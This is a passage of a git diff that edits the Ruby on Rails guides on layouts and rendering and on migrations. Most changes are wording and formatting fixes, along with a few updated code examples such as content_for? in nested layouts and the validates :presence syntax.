+NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). h4. Using +render+ @@ -334,7 +334,7 @@ render :status => 500 render :status => :forbidden </ruby> -Rails understands both numeric status codes and symbols for status codes. +Rails understands both numeric and symbolic status codes. h6. The +:location+ Option @@ -348,9 +348,9 @@ h5. Finding Layouts To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. -h6. Specifying Layouts on a per-Controller Basis +h6. Specifying Layouts for Controllers -You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: +You can override the default layout conventions in your controllers by using the +layout+ declaration. For example: <ruby> class ProductsController < ApplicationController @@ -359,9 +359,9 @@ class ProductsController < ApplicationController end </ruby> -With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. +With this declaration, all of the methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. -To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: +To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class: <ruby> class ApplicationController < ActionController::Base @@ -370,7 +370,7 @@ class ApplicationController < ActionController::Base end </ruby> -With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. +With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. h6. Choosing Layouts at Runtime @@ -392,9 +392,9 @@ class ProductsController < ApplicationController end </ruby> -Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: +Now, if the current user is a special user, they'll get a special layout when viewing a product. -You can also decide the layout by passing a Proc object, the block you give the Proc will be given the +controller+ instance, so you can make decisions based on the current request. For example: +You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request: <ruby> class ProductsController < ApplicationController @@ -404,7 +404,7 @@ end h6. Conditional Layouts -Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names which correspond to method names within the controller: +Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller: <ruby> class ProductsController < ApplicationController @@ -416,7 +416,7 @@ With this declaration, the +product+ layout would be used for everything but the h6. Layout Inheritance -Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: +Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: * +application_controller.rb+ @@ -495,9 +495,9 @@ def show end </ruby> -Make sure you use +and return+ and not +&& return+ because while the former will work, the latter will not due to operator precedence in the Ruby Language. +Make sure to use +and return+ and not +&& return+, since +&& return+ will not work due to the operator precedence in the Ruby Language. -Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. Therefore, the following will work without errors: +Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors: <ruby> def show @@ -515,10 +515,10 @@ h4. Using +redirect_to+ Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: <ruby> -redirect_to photos_path +redirect_to photos_url </ruby> -You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: +You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from: <ruby> redirect_to :back @@ -526,7 +526,7 @@ redirect_to :back h5. Getting a Different Redirect Status Code -Rails uses HTTP status code 302 (temporary redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, permanent redirect), you can do so by using the +:status+ option: +Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option: <ruby> redirect_to photos_path, :status => 301 @@ -536,7 +536,7 @@ Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts h5. The Difference Between +render+ and +redirect_to+ -Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. +Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. Consider these actions to see the difference: @@ -553,7 +553,7 @@ def show end </ruby> -With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: +With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering: <ruby> def index @@ -570,9 +570,9 @@ end With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. -The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. +The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. -While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence. One way to handle this double request (though a contrived example) could be: +While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: <ruby> def index @@ -588,7 +588,7 @@ def show end </ruby> -Which would detect that there are no books, populate the +@books+ instance variable with all the books in the database and then directly render the +index.html.erb+ template returning it to the browser with a flash alert message telling the user what happened. +This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened. h4. Using +head+ To Build Header-Only Responses @@ -598,7 +598,7 @@ The +head+ method can be used to send responses with only headers to the browser head :bad_request </ruby> -Which would produce the following header: +This would produce the following header: <shell> HTTP/1.1 400 Bad Request @@ -611,7 +611,7 @@ Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache </shell> -Or you can use other HTTP headers to convey additional information: +Or you can use other HTTP headers to convey other information: <ruby> head :created, :location => photo_path(@photo) @@ -633,15 +633,15 @@ Cache-Control: no-cache h3. Structuring Layouts -When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: +When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: * Asset tags * +yield+ and +content_for+ * Partials -h4. Asset Tags +h4. Asset Tag Helpers -Asset tags provide methods for generating HTML that links views to feeds, JavaScript, stylesheets, images, videos and audios. These are the six asset tags available in Rails: +Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails: * +auto_discovery_link_tag+ * +javascript_include_tag+ @@ -650,11 +650,11 @@ Asset tags provide methods for generating HTML that links views to feeds, JavaSc * +video_tag+ * +audio_tag+ -You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout. +You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +<head>+ section of a layout. -WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. +WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. -h5. Linking to Feeds with +auto_discovery_link_tag+ +h5. Linking to Feeds with the +auto_discovery_link_tag+ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: @@ -663,13 +663,13 @@ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsread {:title => "RSS Feed"}) %> </erb> -There are three tag options available for +auto_discovery_link_tag+: +There are three tag options available for the +auto_discovery_link_tag+: -* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") +* +:rel+ specifies the +rel+ value in the link. The default value is "alternate". * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* +:title+ specifies the title of the link +* +:title+ specifies the title of the link. The default value is the upshifted +:type+ value, for example, "ATOM" or "RSS". -h5. Linking to JavaScript Files with +javascript_include_tag+ +h5. Linking to JavaScript Files with the +javascript_include_tag+ The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: @@ -738,7 +738,7 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to CSS Files with +stylesheet_link_tag+ +h5. Linking to CSS Files with the +stylesheet_link_tag+ The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+: @@ -764,7 +764,7 @@ To include +http://example.com/main.css+: <%= stylesheet_link_tag "http://example.com/main.css" %> </erb> -By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): +By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): <erb> <%= stylesheet_link_tag "main_print", :media => "print" %> @@ -797,7 +797,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to Images with +image_tag+ +h5. Linking to Images with the +image_tag+ The +image_tag+ helper builds an HTML +<img />+ tag to the specified file. By default, files are loaded from +public/images+. @@ -846,7 +846,7 @@ In addition to the above special tags, you can supply a final hash of standard H :class => 'nav_bar' %> </erb> -h5. Linking to Videos with +video_tag+ +h5. Linking to Videos with the +video_tag+ The +video_tag+ helper builds an HTML 5 +<video>+ tag to the specified file. By default, files are loaded from +public/videos+. @@ -882,7 +882,7 @@ This will produce: <video><source src="trailer.ogg" /><source src="movie.ogg" /></video> </erb> -h5. Linking to Audio files with +audio_tag+ +h5. Linking to Audio Files with the +audio_tag+ The +audio_tag+ helper builds an HTML 5 +<audio>+ tag to the specified file. By default, files are loaded from +public/audios+. @@ -933,7 +933,7 @@ You can also create a layout with multiple yielding regions: The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. -h4. Using +content_for+ +h4. Using the +content_for+ Method The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw: @@ -1093,6 +1093,13 @@ In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a coll Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: +In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content. + +<erb> +<h1>Products</h1> +<%= render(@products) || 'There are no products available.' %> +</erb> + * +index.html.erb+ <erb> @@ -1179,23 +1186,11 @@ On pages generated by +NewsController+, you want to hide the top menu and add a <% end %> <% content_for :content do %> <div id="right_menu">Right menu items here</div> - <%= yield(:news_content) or yield %> + <%= content_for?(:news_content) ? yield(:news_content) : yield %> <% end %> <%= render :template => 'layouts/application' %> </erb> That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. -There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +yield(:news_content) or yield+ with simply +yield+. - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* January 25, 2010: Rails 3.0 Update by "Mikel Lindsaar":credits.html#raasdnil -* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy -* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy -* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy -* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+. diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index e51ee0f535..c63f2aa119 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -91,13 +91,13 @@ Active Record provides methods that perform common data definition tasks in a da * +add_index+ * +remove_index+ -If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). +If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. h4. What's in a Name -Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. +Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+. @@ -115,7 +115,7 @@ h4. Changing Migrations Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. +In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless. h4. Supported Types @@ -134,7 +134,7 @@ Active Record supports the following types: * +:binary+ * +:boolean+ -These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example +These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example <ruby> create_table :products do |t| @@ -148,7 +148,7 @@ h3. Creating a Migration h4. Creating a Model -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running +The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running <shell> $ rails generate model Product name:string description:text @@ -262,7 +262,7 @@ end which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). -The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like +The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like <ruby> create_table :products do |t| @@ -270,7 +270,7 @@ create_table :products do |t| end </ruby> -the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. +The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. <ruby> create_table :products do |t| @@ -278,7 +278,7 @@ create_table :products do |t| end </ruby> -By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example +By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example, <ruby> create_table :products, :options => "ENGINE=BLACKHOLE" do |t| @@ -286,7 +286,7 @@ create_table :products, :options => "ENGINE=BLACKHOLE" do |t| end </ruby> -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). +will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+). h4. Changing Tables @@ -300,6 +300,7 @@ change_table :products do |t| t.rename :upccode, :upc_code end </ruby> + removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing <ruby> @@ -347,11 +348,11 @@ end </ruby> will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. +NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity. -If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. +If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL. -For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). +For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). h4. Writing Your +change+ Method @@ -370,7 +371,7 @@ If you're going to use other methods, you'll have to write the +up+ and +down+ m h4. Writing Your +down+ Method -The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example +The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example, <ruby> class ExampleMigration < ActiveRecord::Migration @@ -401,22 +402,22 @@ class ExampleMigration < ActiveRecord::Migration end </ruby> -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be displayed saying that it can't be done. +Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done. h3. Running Migrations -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. +Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits. Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run +version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run <shell> $ rake db:migrate VERSION=20080906120000 </shell> -If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. +If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000. h4. Rolling Back @@ -434,13 +435,13 @@ $ rake db:rollback STEP=3 will run the +down+ method from the last 3 migrations. -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example +The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example <shell> $ rake db:migrate:redo STEP=3 </shell> -Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. +Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. @@ -448,7 +449,7 @@ NOTE: This is not the same as running all the migrations - see the section on "s h4. Being Specific -If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example +If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example, <shell> $ rake db:migrate:up VERSION=20080906120000 @@ -471,13 +472,13 @@ By default migrations tell you exactly what they're doing and how long it took. Several methods are provided that allow you to control all this: -* +suppress_messages+ suppresses any output generated by its block -* +say+ outputs text (the second argument controls whether it is indented or not) +* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block. +* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. * +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. For example, this migration -<pre> +<ruby> class CreateProducts < ActiveRecord::Migration def change suppress_messages do @@ -496,7 +497,7 @@ class CreateProducts < ActiveRecord::Migration end end end -</pre> +</ruby> generates the following output @@ -510,11 +511,11 @@ generates the following output 20080906170109 CreateProducts: migrated (10.0097s) </shell> -If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. +If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output. h3. Using Models in Your Migrations -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. +When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration. @@ -523,9 +524,9 @@ Consider this example, where Alice and Bob are working on the same code base whi Bob goes on vacation. Alice creates a migration for the +products+ table which adds a new column and initializes it. -She also adds a validation to the Product model for the new column. +She also adds a validation to the +Product+ model for the new column. -<pre> +<ruby> # db/migrate/20100513121110_add_flag_to_product.rb class AddFlagToProduct < ActiveRecord::Migration @@ -534,19 +535,19 @@ class AddFlagToProduct < ActiveRecord::Migration Product.all.each { |f| f.update_attributes!(:flag => 'false') } end end -</pre> +</ruby> -<pre> +<ruby> # app/model/product.rb class Product < ActiveRecord::Base - validates_presence_of :flag + validates :flag, :presence => true end -</pre> +</ruby> -Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the Product model for the new column. +Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column. -<pre> +<ruby> # db/migrate/20100515121110_add_fuzz_to_product.rb class AddFuzzToProduct < ActiveRecord::Migration @@ -555,16 +556,15 @@ class AddFuzzToProduct < ActiveRecord::Migration Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end -</pre> +</ruby> -<pre> +<ruby> # app/model/product.rb class Product < ActiveRecord::Base - validates_presence_of :flag - validates_presence_of :fuzz + validates :flag, :fuzz, :presence => true end -</pre> +</ruby> Both migrations work for Alice. @@ -573,36 +573,37 @@ Bob comes back from vacation and: # updates the source - which contains both migrations and the latests version of the Product model. # runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model. -The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs. +The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs: -<pre> +<plain> rake aborted! An error has occurred, this and all later migrations canceled: undefined method `fuzz' for #<Product:0x000001049b14a0> -</pre> +</plain> A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion. -When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the ActiveRecord cache for the Product model prior to updating data in the database. +When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database. If Alice had done this instead, there would have been no problem: -<pre> +<ruby> # db/migrate/20100513121110_add_flag_to_product.rb class AddFlagToProduct < ActiveRecord::Migration class Product < ActiveRecord::Base end + def change add_column :products, :flag, :int - Product.reset_column_information + Product.reset_column_information Product.all.each { |f| f.update_attributes!(:flag => false) } end end -</pre> +</ruby> -<pre> +<ruby> # db/migrate/20100515121110_add_fuzz_to_product.rb class AddFuzzToProduct < ActiveRecord::Migration @@ -614,7 +615,7 @@ class AddFuzzToProduct < ActiveRecord::Migration Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end -</pre> +</ruby> h3. Schema Dumping and You @@ -627,7 +628,7 @@ There is no need (and it is error prone) to deploy a new instance of an app by r For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest. +Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality. h4. Types of Schema Dumps @@ -653,13 +654,11 @@ ActiveRecord::Schema.define(:version => 20080906171750) do end </ruby> -In many ways this is exactly what it is. This file is created by 